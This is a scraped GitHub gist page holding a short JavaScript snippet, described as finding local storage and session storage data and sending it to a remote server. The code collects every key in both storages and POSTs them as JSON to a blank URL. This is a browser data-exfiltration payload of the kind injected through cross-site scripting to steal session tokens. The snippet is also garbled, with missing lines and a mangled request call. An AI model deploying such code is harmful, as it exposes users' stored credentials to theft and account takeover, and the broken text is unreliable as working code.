Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
find local storage and session storage data and send to a remote server
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => {
return {
key: k, value: sessionStorage.getItem(k)
let xhr = new XMLHttpRequest();"POST", '', true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
console.log('storedItems sent!')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment